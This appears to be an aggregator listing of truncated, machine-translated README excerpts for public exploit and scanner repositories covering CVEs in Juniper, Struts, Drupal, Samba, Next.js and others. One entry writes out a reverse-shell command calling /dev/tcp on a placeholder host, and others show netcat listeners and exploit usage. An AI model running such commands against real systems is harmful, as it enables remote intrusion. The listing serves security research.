juniper-rce_cve-2023-36844

CVE-2023-36844 , CVE-2023-36845 , CVE-2023-36846 , CVE-2023-36847 SRX और EX सीरीज़ उत्पादों में Juniper JunOS के भीतर रिमोट कोड निष्पादन प्राप्त करने के लिए @watchTowr द्वारा विकसित CVE-2023-36844, CVE-2023-36845, CVE-2023-36846, CVE-2023-36847 CVEs को श्रृंखलित करने हेतु एक प्रूफ ऑफ कॉन्सेप्ट।...

CVE-2017-8464-EXP

CVE-2017-8464-EXP Supporto x86 e x64 Solo per test File LNK da: https://github.com/rapid7/metasploit-framework/pull/8767 Ringraziamenti a ykoster Piccola modifica, sostituzione del file dll, correzione del bug del crash di explorer.exe. ykoster ha corretto questo bug POC: x86: x64: Se riesci a...

CVE-2018-11776

CVE-2018-11776 Ambiente para CVE-2018-11776 / S2-057 Demonstração Executar servidor root@kitploit: $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 Exploração root@kitploit: $ nc -l 10000 ou nc -lp 10000 root@kitploit: $ python3 exploit.py...

CVE-2022-22909

CVE-2022-22909 Hotel Druid 3.0.3 - Esecuzione di codice remoto RCE Exploit by kaal Exploit 1. HotelDruidExploit.py Questo Exploit crea una nuova stanza con il nostro payload PHP come nome della stanza. Utilizzo : $ ./HotelDruidExploit.py -h $ ./HotelDruidExploit.py -u http://127.0.0.1/hoteldruid ...

CVE-2022-22963

CVE-2022-22963 CVE-2022-22963 PoC Ligeiramente modificado para tradução para inglês e detecção de https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE/blob/main/SpelRCEPOC.py . Por padrão, whoami é executado no alvo e um arquivo vulnerable.txt é criado com as URLs que são vulneráveis. Ma...

CVE-2025-55182

Detector de Vulnerabilidade RCE em RSC/Next.js e Extensão Chrome PoC CVE-2025-55182 & CVE-2025-66478 Este repositório contém um kit de ferramentas de pesquisa de segurança projetado para detectar e demonstrar PoC as vulnerabilidades RCE recentemente divulgadas que afetam React Server Components R...

NFSundown

Übersicht Proof-of-Concept-Exploit für NFSundown CVE-2025-38089. Er kann aus der Ferne einen Kernel-Absturz auf einem NFS-Server auslösen. Details Ein entfernter Angreifer kann durch das Senden einer speziell präparierten RPC-Anfrage eine Kernel-Nullpointer-Dereferenzierung auslösen und den Kerne...

CVE-2021-25646

usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd Reverse-Shell wie folgt: Reverse-Shell-Skript schreiben python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" Ausführungsberechtigung für Shell-Skript erteilen python3 CVE-2021-25646.py -u...

magnus_billing_7.3.0_RCE_CVE-2023-30258

magnusbilling7.3.0RCECVE-2023-30258 In magnus billing 7.3.0 gibt es eine Schwachstelle für Remote-Codeausführung im Parameter "democ" der Ressource "icepay.php", bei der Sie die Abfrage verlassen und den gewünschten Befehl ausführen können. VERWUNDBARER CODE root@kitploit: if isset$GET'democ' if...

CVE-2019-16759

CVE-2019-16759 Vbulletin RCE-Exploits...

CVE-2007-2447

CVE-2007-2447 PoC: Samba „usermap script“ Remote-Befehlsausführung historische CVE. Dieses Repository enthält ein kleines Proof-of-Concept-Skript zu Forschungs- und Bildungszwecken. Das Hauptskript ist usermapscriptCommandExecution.py. Referenzartikel:...

cve-2017-9822

CVE-2017-9822 Wichtige Informationen Umgebung einrichten Debug einrichten Analyse Debug XmlSerializer Angriffs-Gadget ObjectDataProvider ResourceDictionary Von unsicherer XML-Deserialisierung zu RCE CVE-2017-9822 DNN auch bekannt als DotNetNuke vor Version 9.1.1 ermöglicht Remote-Code-Ausführung...

watchTowr-vs-FortiWeb-CVE-2025-25257

watchTowr-vs-FortiWeb-CVE-2025-25257 Erkennungs-Artefakt-Generator für FortiWeb CVE-2025-25257 Weitere technische Details finden Sie in unserem Blogbeitrag https://github.com/user-attachments/assets/e59f2b3b-2b9b-469f-b4a8-2b7df2ede194 Erkennung in Aktion root@kitploit: python...

CVE-2018-7600-Drupal-RCE

CVE-2018-7600 Drupal RCE Crediti a: File| Versione Drupal| Fonte| Commento ---|---|---|--- poc0-curl.sh| 8| https://twitter.com/ibo0om/status/984674893768921089 https://twitter.com/IamSecurity/status/984977193565646848 https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708| poc1-a2u.py|...

cve-2019-2725

cve-2019-2725 المراجع: Tenable - https://www.tenable.com/blog/oracle-weblogic-affected-by-unauthenticated-remote-code-execution-vulnerability-cve-2019-2725 Exploit Database - https://www.exploit-db.com/exploits/46780 PaloAlto -...

ctf-cve-2024-4577

تحدي CTF الخاص بـ CVE-2024-4577 نظرة عامة يُظهر هذا التحدي من نوع CTF ثغرة CVE-2024-4577، وهي ثغرة حرجة في حقن وسائط سطر الأوامر في PHP CGI تؤثر على إصدارات PHP 8.1.x 8.1.21 و 8.2.x 8.2.8 و 8.3.x 8.3.1. تفاصيل الثغرة CVE-2024-4577 هي ثغرة حقن وسائط سطر الأوامر في PHP CGI تحدث عندما يتم تكوين PHP...

R2S_CVE-2025-55182

ماسح CVE-2025-55182 ماسح ثغرات لـ CVE-2025-55182 - تنفيذ التعليمات البرمجية عن بُعد في Next.js Server Actions. حول CVE-2025-55182 الخطورة: حرجة CVSS TBD الإصدارات المتأثرة: Next.js: 15.x 15.5.7, 16.0.x 16.0.7 React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 التأثير: يمكن للمهاجمين عن بُعد تنفيذ تعليمات برمج...

bitbang-cli

BitBang CLI BitBang CLI è un multi-strumento di accesso remoto in un singolo binario statico: apri una shell interattiva, sfoglia e trasferisci file, e accedi alle app web sulla rete della macchina remota da qualsiasi browser, senza port forwarding, senza configurazione e senza account. Sulla...

CVE-2020-28414

CVE-2020-28414 Descrizione suggerita Esiste una vulnerabilità di cross-site scripting XSS riflesso nel TranzWare Payment Gateway 3.1.12.3.2. Un attaccante remoto non autenticato è in grado di eseguire codice HTML arbitrario tramite un URL appositamente predisposto. Tipo di vulnerabilità Cross Sit...

Next.js-RSC-RCE-Scanner-CVE-2025-66478

Next.js-RSC-RCE-Scanner-CVE-2025-66478 CVE-2025-66478 Next.js भेद्यता स्कैनर है। यह पता लगाता है कि वेबसाइट RSC React Server Components RCE भेद्यता से प्रभावित Next.js संस्करण का उपयोग कर रही है या नहीं। स्थापना और निष्पादन uv का उपयोग करना अनुशंसित uv एक तेज़ Python पैकेज प्रबंधक है। 1. uv...